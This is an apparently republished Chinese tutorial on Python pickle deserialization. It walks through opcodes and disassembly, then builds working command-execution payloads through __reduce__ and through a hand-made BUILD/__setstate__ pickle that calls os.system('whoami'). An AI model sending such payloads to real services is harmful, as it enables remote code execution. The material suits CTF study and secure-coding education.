- 資訊首頁(yè) > 網(wǎng)絡(luò )安全 >
- Python中pickle反序列化的詳細介紹
這篇文章主要講解了“Python中pickle反序列化的詳細介紹”,文中的講解內容簡(jiǎn)單清晰,易于學(xué)習與理解,下面請大家跟著(zhù)小編的思路慢慢深入,一起來(lái)研究和學(xué)習“Python中pickle反序列化的詳細介紹”吧!
python反序列化和php反序列化類(lèi)似(還沒(méi)接觸過(guò)java。。),相當于把程序運行時(shí)產(chǎn)生的變量,字典,對象實(shí)例等變換成字符串形式存儲起來(lái),以便后續調用,恢復保存前的狀態(tài)
python中反序列化的庫主要有兩個(gè),pickle
和cPickle
,這倆除了運行效率上有區別外,其他沒(méi)啥區別
pickle
的常用方法有
import pickle a_list = ['a','b','c'] # pickle構造出的字符串,有很多個(gè)版本。在dumps或loads時(shí),可以用Protocol參數指定協(xié)議版本,例如指定為0號版本 # 目前這些協(xié)議有0,2,3,4號版本,默認為3號版本。這所有版本中,0號版本是人類(lèi)最可讀的;之后的版本加入了一大堆不可打印字符,不過(guò)這些新加的東西都只是為了優(yōu)化,本質(zhì)上沒(méi)有太大的改動(dòng)。 # 一個(gè)好消息是,pickle協(xié)議是向前兼容的。0號版本的字符串可以直接交給pickle.loads(),不用擔心引發(fā)什么意外。 # pickle.dumps將對象反序列化為字符串 # pickle.dump將反序列化后的字符串存儲為文件 print(pickle.dumps(a_list,protocol=0)) pickle.loads() #對象反序列化 pickle.load() #對象反序列化,從文件中讀取數據
輸出反序列化
讀入反序列化
可以看出,python2
和python3
之間反序列化的結果有些許差別,我們先以目前的支持版本python3
為主要對象,在后期給出exp的時(shí)候再補上python2
python3大多版本中反序列化的字符串默認版本為3號版本,我這里python3.8
的默認版本為4
v0 版協(xié)議是原始的 “人類(lèi)可讀” 協(xié)議,并且向后兼容早期版本的 Python。 v1 版協(xié)議是較早的二進(jìn)制格式,它也與早期版本的 Python 兼容。 v2 版協(xié)議是在 Python 2.3 中引入的。它為存儲 new-style class 提供了更高效的機制。欲了解有關(guān)第 2 版協(xié)議帶來(lái)的改進(jìn),請參閱 PEP 307。 v3 版協(xié)議添加于 Python 3.0。它具有對 bytes 對象的顯式支持,且無(wú)法被 Python 2.x 打開(kāi)。這是目前默認使用的協(xié)議,也是在要求與其他 Python 3 版本兼容時(shí)的推薦協(xié)議。 v4 版協(xié)議添加于 Python 3.4。它支持存儲非常大的對象,能存儲更多種類(lèi)的對象,還包括一些針對數據格式的優(yōu)化。有關(guān)第 4 版協(xié)議帶來(lái)改進(jìn)的信息,請參閱 PEP 3154。
為了便于分析和兼容,我們統一使用3
號版本
C:\Users\Rayi\Desktop\Tmp\Script λ python 1.py b'(lp0\nVa\np1\naVb\np2\naVc\np3\na.' #0號 b'\x80\x03]q\x00(X\x01\x00\x00\x00aq\x01X\x01\x00\x00\x00bq\x02X\x01\x00\x00\x00cq\x03e.' #3號 b'\x80\x04\x95\x11\x00\x00\x00\x00\x00\x00\x00]\x94(\x8c\x01a\x94\x8c\x01b\x94\x8c\x01c\x94e.'#4號
在挖掘反序列化漏洞之前,我們需要了解python反序列化的流程是怎樣的
直接分析反序列化出的字符串是比較困難的,我們可以使用pickletools
幫助我們進(jìn)行分析
import pickle import pickletools a_list = ['a','b','c'] a_list_pickle = pickle.dumps(a_list,protocol=0) print(a_list_pickle) # 優(yōu)化一個(gè)已經(jīng)被打包的字符串 a_list_pickle = pickletools.optimize(a_list_pickle) print(a_list_pickle) # 反匯編一個(gè)已經(jīng)被打包的字符串 pickletools.dis(a_list_pickle)
指令集如下:(更具體的解析可以查看pickletools.py
)
MARK = b'(' # push special markobject on stack STOP = b'.' # every pickle ends with STOP POP = b'0' # discard topmost stack item POP_MARK = b'1' # discard stack top through topmost markobject DUP = b'2' # duplicate top stack item FLOAT = b'F' # push float object; decimal string argument INT = b'I' # push integer or bool; decimal string argument BININT = b'J' # push four-byte signed int BININT1 = b'K' # push 1-byte unsigned int LONG = b'L' # push long; decimal string argument BININT2 = b'M' # push 2-byte unsigned int NONE = b'N' # push None PERSID = b'P' # push persistent object; id is taken from string arg BINPERSID = b'Q' # " " " ; " " " " stack REDUCE = b'R' # apply callable to argtuple, both on stack STRING = b'S' # push string; NL-terminated string argument BINSTRING = b'T' # push string; counted binary string argument SHORT_BINSTRING= b'U' # " " ; " " " " < 256 bytes UNICODE = b'V' # push Unicode string; raw-unicode-escaped'd argument BINUNICODE = b'X' # " " " ; counted UTF-8 string argument APPEND = b'a' # append stack top to list below it BUILD = b'b' # call __setstate__ or __dict__.update() GLOBAL = b'c' # push self.find_class(modname, name); 2 string args DICT = b'd' # build a dict from stack items EMPTY_DICT = b'}' # push empty dict APPENDS = b'e' # extend list on stack by topmost stack slice GET = b'g' # push item from memo on stack; index is string arg BINGET = b'h' # " " " " " " ; " " 1-byte arg INST = b'i' # build & push class instance LONG_BINGET = b'j' # push item from memo on stack; index is 4-byte arg LIST = b'l' # build list from topmost stack items EMPTY_LIST = b']' # push empty list OBJ = b'o' # build & push class instance PUT = b'p' # store stack top in memo; index is string arg BINPUT = b'q' # " " " " " ; " " 1-byte arg LONG_BINPUT = b'r' # " " " " " ; " " 4-byte arg SETITEM = b's' # add key+value pair to dict TUPLE = b't' # build tuple from topmost stack items EMPTY_TUPLE = b')' # push empty tuple SETITEMS = b'u' # modify dict by adding topmost key+value pairs BINFLOAT = b'G' # push float; arg is 8-byte float encoding TRUE = b'I01\n' # not an opcode; see INT docs in pickletools.py FALSE = b'I00\n' # not an opcode; see INT docs in pickletools.py
依照上面的表格,這一個(gè)序列化的例子就很好理解了
b'\x80\x03](X\x01\x00\x00\x00aX\x01\x00\x00\x00bX\x01\x00\x00\x00ce.' 0: \x80 PROTO 3 #標明使用協(xié)議版本 2: ] EMPTY_LIST #將空列表壓入棧 3: ( MARK #將標志壓入棧 4: X BINUNICODE 'a' #unicode字符 10: X BINUNICODE 'b' 16: X BINUNICODE 'c' 22: e APPENDS (MARK at 3) #將3號標志后的數據壓入列表 # 彈出棧中的數據,結束流程 23: . STOP highest protocol among opcodes = 2
我們再來(lái)看另一個(gè)更復雜的例子
import pickle import pickletools import base64 class a_class(): def __init__(self): self.age = 114514 self.name = "QAQ" self.list = ["1919","810","qwq"] a_class_new = a_class() a_class_pickle = pickle.dumps(a_class_new,protocol=3) print(a_class_pickle) # 優(yōu)化一個(gè)已經(jīng)被打包的字符串 a_list_pickle = pickletools.optimize(a_class_pickle) print(a_class_pickle) # 反匯編一個(gè)已經(jīng)被打包的字符串 pickletools.dis(a_class_pickle)
b'\x80\x03c__main__\na_class\nq\x00)\x81q\x01}q\x02(X\x03\x00\x00\x00ageq\x03JR\xbf\x01\x00X\x04\x00\x00\x00nameq\x04X\x03\x00\x00\x00QAQq\x05X\x04\x00\x00\x00listq\x06]q\x07(X\x04\x00\x00\x001919q\x08X\x03\x00\x00\x00810q\tX\x03\x00\x00\x00qwqq\neub.' b'\x80\x03c__main__\na_class\nq\x00)\x81q\x01}q\x02(X\x03\x00\x00\x00ageq\x03JR\xbf\x01\x00X\x04\x00\x00\x00nameq\x04X\x03\x00\x00\x00QAQq\x05X\x04\x00\x00\x00listq\x06]q\x07(X\x04\x00\x00\x001919q\x08X\x03\x00\x00\x00810q\tX\x03\x00\x00\x00qwqq\neub.' 0: \x80 PROTO 3 # push self.find_class(modname, name); 連續讀取兩個(gè)字符串作為參數,以\n為界 # 這里就是self.find_class(‘__main__’, ‘a(chǎn)_class’); # 需要注意的版本不同,find_class函數也不同 2: c GLOBAL '__main__ a_class' # 不影響反序列化 20: q BINPUT 0 # 向棧中壓入一個(gè)元組 22: ) EMPTY_TUPLE # 見(jiàn)pickletools源碼第2097行(注意版本) # 大意為,該指令之前的棧內容應該為一個(gè)類(lèi)(2行GLOBAL創(chuàng )建的類(lèi)),類(lèi)后為一個(gè)元組(22行壓入的TUPLE),調用cls.__new__(cls, *args)(即用元組中的參數創(chuàng )建一個(gè)實(shí)例,這里元組實(shí)際為空) 23: \x81 NEWOBJ 24: q BINPUT 1 # 壓入一個(gè)新的字典 26: } EMPTY_DICT 27: q BINPUT 2 # 一個(gè)標志 29: ( MARK # 壓入unicode值 30: X BINUNICODE 'age' 38: q BINPUT 3 40: J BININT 114514 45: X BINUNICODE 'name' 54: q BINPUT 4 56: X BINUNICODE 'QAQ' 64: q BINPUT 5 66: X BINUNICODE 'list' 75: q BINPUT 6 77: ] EMPTY_LIST 78: q BINPUT 7 # 又一個(gè)標志 80: ( MARK 81: X BINUNICODE '1919' 90: q BINPUT 8 92: X BINUNICODE '810' 100: q BINPUT 9 102: X BINUNICODE 'qwq' 110: q BINPUT 10 # 將第80行的mark之后的值壓入第77行的列表 112: e APPENDS (MARK at 80) # 詳情見(jiàn)pickletools源碼第1674行(注意版本) # 大意為將任意數量的鍵值對添加到現有字典中 # Stack before: ... pydict markobject key_1 value_1 ... key_n value_n # Stack after: ... pydict 113: u SETITEMS (MARK at 29) # 通過(guò)__setstate__或更新__dict__完成構建對象(對象為我們在23行創(chuàng )建的)。 # 如果對象具有__setstate__方法,則調用anyobject .__setstate__(參數) # 如果無(wú)__setstate__方法,則通過(guò)anyobject.__dict__.update(argument)更新值 # 注意這里可能會(huì )產(chǎn)生變量覆蓋 114: b BUILD # 彈出棧中的數據,結束流程 115: . STOP highest protocol among opcodes = 2
這樣另一個(gè)更復雜的例子就分析完成了
我們現在能大體了解序列化與反序列化的流程
__reduce__
ctf中大多數常見(jiàn)的pickle反序列化,利用方法大都是__reduce__
觸發(fā)__reduce__
的指令碼為R
# pickletools.py 1955行 name='REDUCE', code='R', arg=None, stack_before=[anyobject, anyobject], stack_after=[anyobject], proto=0, doc="""Push an object built from a callable and an argument tuple. The opcode is named to remind of the __reduce__() method. Stack before: ... callable pytuple Stack after: ... callable(*pytuple) The callable and the argument tuple are the first two items returned by a __reduce__ method. Applying the callable to the argtuple is supposed to reproduce the original object, or at least get it started. If the __reduce__ method returns a 3-tuple, the last component is an argument to be passed to the object's __setstate__, and then the REDUCE opcode is followed by code to create setstate's argument, and then a BUILD opcode to apply __setstate__ to that argument. If not isinstance(callable, type), REDUCE complains unless the callable has been registered with the copyreg module's safe_constructors dict, or the callable has a magic '__safe_for_unpickling__' attribute with a true value. I'm not sure why it does this, but I've sure seen this complaint often enough when I didn't want to <wink>. """
大意為:
取當前棧的棧頂記為
args
,然后把它彈掉。取當前棧的棧頂記為
f
,然后把它彈掉。以
args
為參數,執行函數f
,把結果壓進(jìn)當前棧。
只要在序列化中的字符串中存在R
指令,__reduce__
方法就會(huì )被執行,無(wú)論正常程序中是否寫(xiě)明了__reduce__
方法
例如:
import pickle import pickletools import base64 class a_class(): def __init__(self): self.age = 114514 self.name = "QAQ" self.list = ["1919","810","qwq"] def __reduce__(self): return (__import__('os').system, ("whoami",)) a_class_new = a_class() a_class_pickle = pickle.dumps(a_class_new,protocol=3) print(a_class_pickle) # 優(yōu)化一個(gè)已經(jīng)被打包的字符串 a_list_pickle = pickletools.optimize(a_class_pickle) print(a_class_pickle) # 反匯編一個(gè)已經(jīng)被打包的字符串 pickletools.dis(a_class_pickle) ''' b'\x80\x03cnt\nsystem\nq\x00X\x06\x00\x00\x00whoamiq\x01\x85q\x02Rq\x03.' b'\x80\x03cnt\nsystem\nq\x00X\x06\x00\x00\x00whoamiq\x01\x85q\x02Rq\x03.' 0: \x80 PROTO 3 2: c GLOBAL 'nt system' 13: q BINPUT 0 15: X BINUNICODE 'whoami' 26: q BINPUT 1 28: \x85 TUPLE1 29: q BINPUT 2 31: R REDUCE 32: q BINPUT 3 34: . STOP highest protocol among opcodes = 2 '''
把生成的payload拿到無(wú)__reduce__
的正常程序中,命令仍然會(huì )被執行
記得生成payload時(shí)使用的python版本盡量與目標上的版本一致
#coding=utf-8 import pickle import urllib.request #python2 #import urllib import base64 class rayi(object): def __reduce__(self): # 未導入os模塊,通用 return (__import__('os').system, ("whoami",)) # return eval,("__import__('os').system('whoami')",) # return map, (__import__('os').system, ('whoami',)) # return map, (__import__('os').system, ['whoami']) # 導入os模塊 # return (os.system, ('whoami',)) # return eval, ("os.system('whoami')",) # return map, (os.system, ('whoami',)) # return map, (os.system, ['whoami']) a_class = rayi() result = pickle.dumps(a_class) print(result) print(base64.b64encode(result)) #python3 print(urllib.request.quote(result)) #python2 #print urllib.quote(result)
c
指令碼前兩個(gè)例子開(kāi)頭都有c
指令碼
name='GLOBAL', code='c', arg=stringnl_noescape_pair, stack_before=[], stack_after=[anyobject], proto=0, doc="""Push a global object (module.attr) on the stack. Two newline-terminated strings follow the GLOBAL opcode. The first is taken as a module name, and the second as a class name. The class object module.class is pushed on the stack. More accurately, the object returned by self.find_class(module, class) is pushed on the stack, so unpickling subclasses can override this form of lookup. """
簡(jiǎn)單來(lái)說(shuō),c
指令碼可以用來(lái)調用全局的xxx.xxx
的值
看下面的例子
import secret import pickle import pickletools class flag(): def __init__(self,a,b): self.a = a self.b = b # new_flag = pickle.dumps(flag('A','B'),protocol=3) # print(new_flag) # pickletools.dis(new_flag) your_payload = b'?' other_flag = pickle.loads(your_payload) secret_flag = flag(secret.a,secret.b) if other_flag.a == secret_flag.a and other_flag.b == secret_flag.b: print('flag{xxxxxx}') else: print('No!') # secret.py # you can not see this a = 'aaaa' b = 'bbbb'
在我們不知道secret.py
中值的情況下,如何構造滿(mǎn)足條件的payload,拿到flag呢?
利用c指令:
這是一般情況下的flag類(lèi)
λ python app.py b'\x80\x03c__main__\nflag\nq\x00)\x81q\x01}q\x02(X\x01\x00\x00\x00aq\x03X\x01\x00\x00\x00Aq\x04X\x01\x00\x00\x00bq\x05X\x01\x00\x00\x00Bq\x06ub.' 0: \x80 PROTO 3 2: c GLOBAL '__main__ flag' 17: q BINPUT 0 19: ) EMPTY_TUPLE 20: \x81 NEWOBJ 21: q BINPUT 1 23: } EMPTY_DICT 24: q BINPUT 2 26: ( MARK 27: X BINUNICODE 'a' 33: q BINPUT 3 35: X BINUNICODE 'A' 41: q BINPUT 4 43: X BINUNICODE 'b' 49: q BINPUT 5 51: X BINUNICODE 'B' 57: q BINPUT 6 59: u SETITEMS (MARK at 26) 60: b BUILD 61: . STOP highest protocol among opcodes = 2
第27行和第37行分別進(jìn)行了傳參,如果我們手動(dòng)把payload修改一下,將a和b的值改為secret.a
,secret.b
原來(lái)的:b'\x80\x03c__main__\nflag\nq\x00)\x81q\x01}q\x02(X\x01\x00\x00\x00aq\x03X\x01\x00\x00\x00Aq\x04X\x01\x00\x00\x00bq\x05X\x01\x00\x00\x00Bq\x06ub.' 現在的: b'\x80\x03c__main__\nflag\nq\x00)\x81q\x01}q\x02(X\x01\x00\x00\x00aq\x03csecret\na\nq\x04X\x01\x00\x00\x00bq\x05csecret\nb\nq\x06ub.'
我們成功的調用了secret.py
中的變量
還記得剛才說(shuō)過(guò)的build指令碼嗎
name='BUILD', code='b', arg=None, stack_before=[anyobject, anyobject], stack_after=[anyobject], proto=0, doc="""Finish building an object, via __setstate__ or dict update. Stack before: ... anyobject argument Stack after: ... anyobject where anyobject may have been mutated, as follows: If the object has a __setstate__ method, anyobject.__setstate__(argument) is called. Else the argument must be a dict, the object must have a __dict__, and the object is updated via anyobject.__dict__.update(argument)
通過(guò)BUILD指令與C指令的結合,我們可以把改寫(xiě)為os.system
或其他函數
假設某個(gè)類(lèi)原先沒(méi)有__setstate__
方法,我們可以利用{'__setstate__': os.system}
來(lái)BUILE這個(gè)對象
BUILD指令執行時(shí),因為沒(méi)有__setstate__
方法,所以就執行update,這個(gè)對象的__setstate__
方法就改為了我們指定的os.system
接下來(lái)利用"ls /"
來(lái)再次BUILD這個(gè)對象,則會(huì )執行setstate("ls /")
,而此時(shí)__setstate__
已經(jīng)被我們設置為os.system
,因此實(shí)現了RCE.
看一看具體如何實(shí)現的:
還是以flag類(lèi)為例
import pickle import pickletools class flag(): def __init__(self): pass new_flag = pickle.dumps(flag(),protocol=3) print(new_flag) pickletools.dis(new_flag) # your_payload = b'?' # other_flag = pickle.loads(your_payload)
λ python app.py b'\x80\x03c__main__\nflag\nq\x00)\x81q\x01.' 0: \x80 PROTO 3 2: c GLOBAL '__main__ flag' 17: q BINPUT 0 19: ) EMPTY_TUPLE 20: \x81 NEWOBJ 21: q BINPUT 1 23: . STOP highest protocol among opcodes = 2
接下來(lái)需要我們手撕payload了
根據BUILD的說(shuō)明,我們需要構造一個(gè)字典
b'\x80\x03c__main__\nflag\nq\x00)\x81}.'
接下來(lái)往字典里放值,先放一個(gè)mark
b'\x80\x03c__main__\nflag\nq\x00)\x81}(.'
放鍵值對
b'\x80\x03c__main__\nflag\nq\x00)\x81}(V__setstate__\ncos\nsystem\nu.'
第一次BUILD
b'\x80\x03c__main__\nflag\nq\x00)\x81}(V__setstate__\ncos\nsystem\nub.'
放參數
b'\x80\x03c__main__\nflag\nq\x00)\x81}(V__setstate__\ncos\nsystem\nubVwhoami\n.'
第二次BUILD
b'\x80\x03c__main__\nflag\nq\x00)\x81}(V__setstate__\ncos\nsystem\nubVwhoami\nb.'
完成
我們來(lái)試一下
成了,我們在不使用R
指令的情況下完成了RCE
rayi-de-shenchu\rayi 0: \x80 PROTO 3 2: c GLOBAL '__main__ flag' 17: q BINPUT 0 19: ) EMPTY_TUPLE 20: \x81 NEWOBJ 21: } EMPTY_DICT 22: ( MARK 23: V UNICODE '__setstate__' 37: c GLOBAL 'os system' 48: u SETITEMS (MARK at 22) 49: b BUILD 50: V UNICODE 'whoami' 58: b BUILD 59: . STOP highest protocol among opcodes = 2 [Finished in 0.2s]
python2 區別不是很大:
import pickle import pickletools import urllib class rayi(): def __init__(self): pass new_rayi = pickle.dumps(rayi(),protocol=2) print(urllib.quote(new_rayi)) pickletools.dis(new_rayi) # your_payload = '\x80\x03c__main__\nrayi\nq\x00)\x81}(V__setstate__\ncos\nsystem\nubVwhoami\nb.' # other_rayi = pickle.loads(your_payload) # pickletools.dis(your_payload)
輸出:
%80%02%28c__main__%0Arayi%0Aq%00oq%01%7Dq%02b. 0: \x80 PROTO 2 2: ( MARK 3: c GLOBAL '__main__ rayi' 18: q BINPUT 0 20: o OBJ (MARK at 2) 21: q BINPUT 1 23: } EMPTY_DICT 24: q BINPUT 2 26: b BUILD 27: . STOP highest protocol among opcodes = 2 [Finished in 0.1s]
修改payload:
%80%02%28c__main__%0Arayi%0Aq%00oq%01%7Dq%02(V__setstate__\ncos\nsystem\nubVwhoami\nb.
import pickle import pickletools import urllib class rayi(): def __init__(self): pass # new_rayi = pickle.dumps(rayi(),protocol=2) # print(urllib.quote(new_rayi)) # pickletools.dis(new_rayi) your_payload = urllib.unquote('%80%02%28c__main__%0Arayi%0Aq%00oq%01%7Dq%02(V__setstate__\ncos\nsystem\nubVwhoami\nb.') other_rayi = pickle.loads(your_payload) pickletools.dis(your_payload)
免責聲明:本站發(fā)布的內容(圖片、視頻和文字)以原創(chuàng )、來(lái)自互聯(lián)網(wǎng)轉載和分享為主,文章觀(guān)點(diǎn)不代表本網(wǎng)站立場(chǎng),如果涉及侵權請聯(lián)系QQ:712375056 進(jìn)行舉報,并提供相關(guān)證據,一經(jīng)查實(shí),將立刻刪除涉嫌侵權內容。
Copyright ? 2009-2021 56dr.com. All Rights Reserved. 特網(wǎng)科技 特網(wǎng)云 版權所有 珠海市特網(wǎng)科技有限公司 粵ICP備16109289號
域名注冊服務(wù)機構:阿里云計算有限公司(萬(wàn)網(wǎng)) 域名服務(wù)機構:煙臺帝思普網(wǎng)絡(luò )科技有限公司(DNSPod) CDN服務(wù):阿里云計算有限公司 中國互聯(lián)網(wǎng)舉報中心 增值電信業(yè)務(wù)經(jīng)營(yíng)許可證B2
建議您使用Chrome、Firefox、Edge、IE10及以上版本和360等主流瀏覽器瀏覽本網(wǎng)站